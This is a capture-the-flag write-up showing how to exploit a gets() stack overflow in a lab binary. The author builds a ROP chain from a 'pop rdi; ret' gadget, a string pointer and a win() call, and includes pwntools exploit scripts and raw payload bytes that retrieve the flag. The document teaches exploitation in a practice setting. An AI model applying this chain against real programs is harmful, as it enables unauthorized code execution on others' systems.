Tags: pwn writeup 

Rating: 5.0

This challenge was a pretty fun challenge. It is not too difficult, you just have to understand the concepts of pwn.

Starting off this challenge, you are greeted with vulnerable ``gets()`` function call. This call will allow you to write data to a char array without bounds checking, overflowing the stack. Knowing this, you can keep doing trial and error until you overflow the RIP Register(Instruction Pointer). We can figure out this offset is 12 by trial and error.
We can confirm this by adding 6 differnet bytes after the initial offset.
And...
```
pwndbg> r
Starting program: /pwn6/hackme
AAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
```
We overrode the Instruction Pointer !
but now what?
Looking at the code, we can see a win function
```c
void win(char password[20]) {

if (strcmp(password, "ArcadeAdmin") == 0) {
int fd = open("flag.txt", 0);
sendfile(1,fd,0,100);
}
exit(0);
```

Looking at the function, we notice we have to supply it a parameter equaling the "ArcadeAdmin". Lets see how they check this.
Dissasembling the function in GDB,
```assembly
0x00000000004011e1 <+8>: mov QWORD PTR [rbp-0x18],rdi
0x00000000004011e5 <+12>: mov rax,QWORD PTR [rbp-0x18]
0x00000000004011e9 <+16>: lea rdx,[rip+0xe14] # 0x402004
0x00000000004011f0 <+23>: mov rsi,rdx
0x00000000004011f3 <+26>: mov rdi,rax
```
We notice that the rdi register is moved into another register, then moved into rax, then compared.
So, we have to find a way to get data into RDI, and what better way than using **★ Rop Gadgets ★**.
Running rop in pwndbg, we are greeted with a ton of different ROP Gadgets.
So, lets do a simple search and find a ``pop rdi; ret`` to pop the top of the stack (because we control it) into the rdi register.
```assembly
pwndbg> rop --grep "pop rdi ; ret"
Saved corefile /tmp/tmpnzjcnmv8
0x00000000004012fb : pop rdi ; ret
```
We can now set our RIP register to 0x4012fb, our rop gadget.
Now, we have to add the pointer to the "ArcadeAdmin" string (what will be popped into RDI), because we need to have something to pop into RDI.
Searching for the string, we find the memory location of it.
```assembly
pwndbg> search -s "ArcadeAdmin"
hackme 0x402004 'ArcadeAdmin'
hackme 0x403004 'ArcadeAdmin'
```
0x402004 is the pointer to the string.
To finish off our payload, we just need to call the win function now.
```
pwndbg> x win
0x4011d9 <win>: 0xe5894855
```
Now we just have to structure our payload, Offset + ROP Gadget + String Pointer + Win function.
Making a quick python script to do this, we are at our final payload
```py
from pwn import *

exe = "./hackme"

elf = context.binary = ELF(exe)

offset = 12

payload = flat({
offset: [
0x4012fb, # ROP Gadget (pop rdi; ret)
0x403004, # ArcadeAdmin String
0x4011d9 #elf.functions.win # win function
]
})

write("payload", payload)
print(payload)
```
Now, we go onto the ssh server and run our payload.
```
student@CX3-Arcade:/home/student/pwn6$ echo -ne "aaaabaaacaaa\xfb\x12@\x00\x00\x00\x00\x00\x040@\x00\x00\x00\x00\x00\xd9\x11@\x00\x00\x00\x00\x00" | ./hackme
Segmentation fault (core dumped)
```
But wait.. Seg Fault??? Why is this happening.
After spending some time debugging my payload, I figured out that the location of the ROP Gadget on the server is different than on my location machine because of the libc version.
Running ROPgadget on the server, we can get the location we need to match the same libc version.
```
student@CX3-Arcade:/home/student/pwn6$ ROPgadget --binary hackme | grep "pop rdi"
0x0000000000401303 : pop rdi ; ret
```
0x401303, a completely different address. Adjusting my payload for this new change, it still didnt work.
The win function also had a different address.
```
gef➤ x win
0x4011d6 <win>: 0xfa1e0ff3
```
After finally adjusting my payload for the last time, I got the flag.
```
student@CX3-Arcade:/home/student/pwn6$ echo -ne "aaaabaaacaaa\x03\x13@\x00\x00\x00\x00\x00\x040@\x00\x00\x00\x00\x00\xd6\x11@\x00\x00\x00\x00\x00" | ./hackme
SAH{PasswordsCantStopYou}
```

**Edit:**
I remade my entire payload to let pwntools do all the hardwork for us, It is still fun to figure out how it works though
```py
from pwn import *

p = process("./hackme")
elf = context.binary = ELF('./hackme')
offset = 12

# Get Rop Gadets
rop = ROP(elf)

payload = flat({
offset: [
rop.rdi.address, #LibC ROP (pop rdi; ret)
next(elf.search(b"ArcadeAdmin")),# ArcadeAdmin String
elf.symbols['win'] # win function
]
})

print("Sending Payload: " + str(payload))
write("payload", payload)

# Send payload
p.write(payload)
p.interactive()
```

Thanks for reading my Writeup on Jumping with Glee

#### Flag
``SAH{PasswordsCantStopYou}``